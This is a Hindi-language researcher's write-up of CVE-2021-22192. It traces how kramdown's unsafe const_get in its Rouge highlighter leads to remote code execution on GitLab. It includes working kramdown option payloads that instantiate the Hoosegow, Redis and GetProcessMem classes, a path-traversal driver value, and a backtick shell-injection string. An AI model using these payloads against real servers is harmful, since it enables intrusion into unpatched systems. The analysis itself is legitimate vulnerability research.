
CVE-2021-22192
जब मैंने इस बग का विश्लेषण शुरू किया, तो मुझे lyy289065406 से कुछ बहुमूल्य जानकारी मिली जिसने इस बग के मूल मुद्दे को समझने में मदद की। ऐसा प्रतीत होता है कि यह gem kramdown (<= 2.3.0) में एक बग है, इसलिए मैंने पहले kramdown के बारे में जानना शुरू किया।
हम kramdown के patch की जांच कर सकते हैं, और Kramdown::Converter::SyntaxHighlighter::Rouge मॉड्यूल में formatter_class फ़ंक्शन में अंतर देखें।
::Rouge::Formatters.const_get(formatter) को ::Rouge::Formatters.const_get(formatter, false) में बदल दिया गया है।
const_get फ़ंक्शन Object क्लास से विरासत में मिला है, यह कॉन्स्टेंट प्राप्त कर सकता है। यह पहले से घोषित क्लासेस को भी वापस कर सकता है जिन्हें यह ढूंढ सकता है। अंतर केवल एक पैरामीटर false जोड़ने का है। false जोड़ने से const_get पैरेंट क्लास या मॉड्यूल से कॉन्स्टेंट प्राप्त नहीं कर सकेगा।
इससे भी अधिक विशेष: self.call फ़ंक्शन formatter_class को कॉल करता है और फिर new(opts) को कॉल करता है। इसका मतलब है कि const_get के माध्यम से प्राप्त विधि का कंस्ट्रक्टर आरंभीकरण के लिए कॉल किया जाएगा।
def self.call(converter, text, lang, type, call_opts)
opts = options(converter, type)
call_opts[:default_lang] = opts[:default_lang]
return nil unless lang || opts[:default_lang] || opts[:guess_lang]
lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])
opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
formatter = formatter_class(opts).new(opts)
formatter.format(lexer.lex(text))
end
Kramdown:Options के आधार पर, हम Kramdown::Converter::SyntaxHighlighter::Rouge.call फ़ंक्शन को कॉल कर सकते हैं।
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
इसके अलावा, हम Kramdown:Options मॉड्यूल में simple_hash_validator फ़ंक्शन देखते हैं जो YAML.safe_load(val) को कॉल करता है। इस प्रकार हम YAML फ़ाइल को कॉन्फ़िगर करके वांछित पेलोड को Kramdown::Converter::SyntaxHighlighter::Rouge तक पहुंचा सकते हैं।
def self.simple_hash_validator(val, name)
if String === val
begin
val = YAML.safe_load(val)
rescue RuntimeError, ArgumentError, SyntaxError
raise Kramdown::Error, "Invalid YAML value for option #{name}"
end
end
raise Kramdown::Error, "Invalid type #{val.class} for option #{name}" unless Hash === val
val
end
पहले, मुझे jekyll सेट करने की आवश्यकता है:
gem install jekyll
jekyll new jekyllTest
Gemfile.lock फ़ाइल को संपादित करके kramdown संस्करण को <= 2.3.0 पर सेट करेंcd jekyllTest
फ़ाइल Gemfile.lock
...
kramdown (2.3.0)
...
bundle install
इस प्रकार, हमने एक jekyll पेज बनाने का काम पूरा कर लिया है। अब हम पेलोड डाल सकते हैं, यह देखने के लिए कि क्या Kramdown::Converter::SyntaxHighlighter::Rouge.call वास्तव में एक विधि को कॉल कर सकता है।
हम ./_config.yml फ़ाइल में जोड़ सकते हैं
kramdown:
syntax_highlighter: rouge
syntax_highlighter_opts:
formatter: CSV
या kramdown दस्तावेज़ का उपयोग करें ./_posts/*.markdown में पेलोड जोड़ने के लिए
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
~~~ ruby
def what?
42
end
~~~
यहाँ मैं दूसरा तरीका उपयोग कर रहा हूँ =)))))
bundle exec jekyll serve
आपको त्रुटि "require': cannot load such file -- webrick (LoadError) मिल सकती है, आपको gem "webrick" को Gemfile में जोड़ना होगा
private method 'format' called for #<CSV io_type:Hash encoding:UTF-8 lineno:0 col_sep: यह साबित करता है कि CSV वर्ग को कॉल किया गया था।एक विश्लेषण लेख CVE-2020-10518 के अनुसार, kramdown में बग का उपयोग करके Github पर RCE हुआ। मैंने Hoosegow वर्ग को लक्षित किया:
initialize फ़ंक्शन में load_inmate_methods को कॉल किया गया है।def initialize(options = {})
options = options.dup
@no_proxy = options.delete(:no_proxy)
@inmate_dir = options.delete(:inmate_dir) || '/hoosegow/inmate'
@image_name = options.delete(:image_name)
@ruby_version = options.delete(:ruby_version) || RUBY_VERSION
@docker_options = options
load_inmate_methods
load_inmate_methods में, हम देखते हैं कि यह require inmate_file को कॉल करता है def load_inmate_methods
inmate_file = File.join @inmate_dir, 'inmate.rb'
unless File.exist?(inmate_file)
raise Hoosegow::InmateImportError, "inmate file doesn't exist"
end
require inmate_file
unless Hoosegow.const_defined?(:Inmate) && Hoosegow::Inmate.is_a?(Module)
raise Hoosegow::InmateImportError,
"inmate file doesn't define Hoosegow::Inmate"
end
if no_proxy?
self.extend Hoosegow::Inmate
else
inmate_methods = Hoosegow::Inmate.instance_methods
inmate_methods.each do |name|
define_singleton_method name do |*args, &block|
proxy_send name, args, &block
end
end
end
end
और inmate_file @inmate_dir में 'inmate.rb' जोड़कर बनाया जाता है। यदि हम इस वर्ग को कॉल कर सकते हैं और inmate_dir पैरामीटर को अपनी पेलोड फ़ाइल के पथ में बदल सकते हैं, तो क्या यहाँ RCE नहीं होगा?
मैंने jekyll पेज के पथ में एक स्क्रिप्ट चलाई ताकि परिभाषित विधियों की जाँच की जा सके:
require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
methods.each do |m|
begin
puts "trying #{m[:ob]}"
m[:ob].new({a:1, b:2})
puts "worked\n\n"
rescue ArgumentError
puts "nope\n\n"
rescue NoMethodError
puts "nope\n\n"
rescue => e
p e
puts "maybe\n\n"
end
ob.name == "Hoosegow" शर्त रखकर स्क्रिप्ट को बीच में क्रैश होने से बचाया।require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name == "Hoosegow" }
...
Gemfile में gem "hoosegow" जोड़ा और स्क्रिप्ट ने यह वर्ग पा लिया। [ही ही ही]Hoosegow को कॉल करने का प्रयास करते हैं।{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, line_numbers: true\}" /}
~~~ ruby
def what?
42
end
~~~
मैं यहाँ अटक गया.. 1 सप्ताह। हाँ, इसकी वजह से एक सप्ताह बर्बाद हो गया। मैं इस सवाल के साथ चक्कर लगा रहा था: "बंडलर में पहले से Hoosegow वर्ग है, लेकिन Kramdown के नीचे से कॉल करने पर क्यों नहीं मिलता? इसे मिलना चाहिए ना ???"
मैंने सोचा: "अगर यह Gemfile में घोषित किया गया है, तो इसका मतलब है कि क्लास पथ में वह वर्ग पहले से मौजूद है। तो अगर प्रोग्राम 'Hoosegow' नहीं ढूंढ पा रहा है, तो निश्चित रूप से इसे लोड नहीं किया गया है..." तो क्या कोई तरीका है कि gem को इस तरह घोषित किया जाए कि जेकिल शुरू होने पर स्रोत निर्देशिका के अन्य भागों को संसाधित करने से पहले gem लोड हो जाए?
मैंने jekyll के दस्तावेज़ पढ़े और jekyll_plugins पाया। इसे केवल Gemfile में घोषित करना पर्याप्त नहीं है, बल्कि gem को jekyll_plugins समूह में घोषित करना होगा :( क्योंकि जब gem को jekyll_plugins में घोषित किया जाता है, तो jekyll द्वारा अन्य स्रोतों को संसाधित करने से पहले gem को बिना किसी शर्त के लोड किया जाता है। भले ही jekyll safe mode में चल रहा हो।
group :jekyll_plugins do
gem "jekyll-feed", "~> 0.12"
gem "hoosegow"
end
C:/ में एक inmate.rb फ़ाइल बनाई और पेलोड चलाया:{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, inmate_dir: C:/\}" /}
~~~ ruby
def what?
42
end
~~~
inmate.rb फ़ाइल को कॉल किया गया। तो ऐसा लगता है कि हम लगभग PoC में सफल हो गए हैं, है ना?
inmate.rb फ़ाइल को Gitlab सर्वर पर कैसे अपलोड किया जाए और यह कैसे पता चले कि मेरी अपलोड की गई inmate.rb फ़ाइल कहाँ स्थित है??before_script:
- pwd
- gem install bundler
- bundle install
.gitlab-ci.yml फ़ाइल संपादित की। मैंने विभिन्न तरीकों से समझाने की कोशिश की: "हो सकता है कि .yml फ़ाइल को लोड करने से पहले स्कैन करने का कोई तंत्र हो?",.. लेकिन ये मुझे संतुष्ट नहीं कर पाए...
मैंने एक और इनपुट पथ खोजा - wiki पृष्ठ। Wiki पृष्ठ kramdown प्रारूप का उपयोग करने की अनुमति देता है, इसलिए मुझे संदेह हुआ और यहाँ परीक्षण किया, लेकिन कोई परिणाम नहीं मिला क्योंकि मैंने केवल डिफ़ॉल्ट '*.md' फ़ाइल में पेलोड डाला, और '*.md' फ़ाइल में आवश्यक सुविधा प्रतिबंधित थी, इसलिए मैंने यह पथ छोड़ दिया :(
यहाँ मुझे रुकना पड़ा और PoC के प्रकाशित होने का इंतजार करना पड़ा ताकि अन्य शोध के लिए समय बचा सकूँ।
एक अच्छे दिन, PoC प्रकाशित हुआ। इसे पढ़ने के बाद, मेरे अंदर का 'मुर्गा' (बेवकूफी) जोर से जाग उठा, कहने की जरूरत नहीं =))।
मूल समस्या kramdown में थी, हम सही रास्ते पर थे, लेकिन Gitlab पर इसे प्राप्त करने का तरीका थोड़ा बेकार था =)
render_wiki_content -> other_markup_unsafe -> GitHub::Markup.render को कॉल करता है। इस प्रकार '*.rmd' फ़ाइल kramdown के साथ रेंडर होती है।Redis वर्ग (जो पहले से Gitlab प्रोजेक्ट में घोषित है, इसलिए हम इस वर्ग को कॉल और उपयोग कर सकते हैं) का उपयोग अपना पेलोड चलाने के लिए किया।जब Redis वर्ग आरंभ होता है, यदि driver विकल्प मौजूद है, तो प्रोग्राम _parse_driver फ़ंक्शन को कॉल करता है। यहाँ, प्रोग्राम require "connection/#{driver}" करता है, हम driver चर को प्रभावित कर सकते हैं ताकि प्रोग्राम सर्वर पर अपलोड की गई पेलोड फ़ाइल को कॉल करे।
def _parse_driver(driver)
driver = driver.to_s if driver.is_a?(Symbol)
if driver.kind_of?(String)
begin
require_relative "connection/#{driver}"
rescue LoadError, NameError => e
begin
require "connection/#{driver}"
rescue LoadError, NameError => e
raise RuntimeError, "Cannot load driver #{driver.inspect}: #{e.message}"
end
end
driver = Connection.const_get(driver.capitalize)
end
driver
end
snippet बनाने की सुविधा के साथ, हमलावर Attach a file के साथ ruby पेलोड अपलोड कर सकता है।Kramdown से Redis वर्ग को कॉल करने की दिशा का उपयोग करते हुए, पहले लेखक ने पेलोड के साथ gem get_process_mem को आयात किया
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../get_process_mem\}" /}
~~~ruby
def what?
42
end
~~~
फिर पहले से आयातित gem get_process_mem का उपयोग RCE के लिए किया
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{a: '`echo inject > /tmp/inject`', formatter: GetProcessMem\}" /}
~~ ruby
def what?
42
end
~~
इस प्रकार, पेलोड फ़ाइल का पता खोजने की आवश्यकता के बिना, हमलावर Gitlab सर्वर पर RCE कर सकता है।
Ref: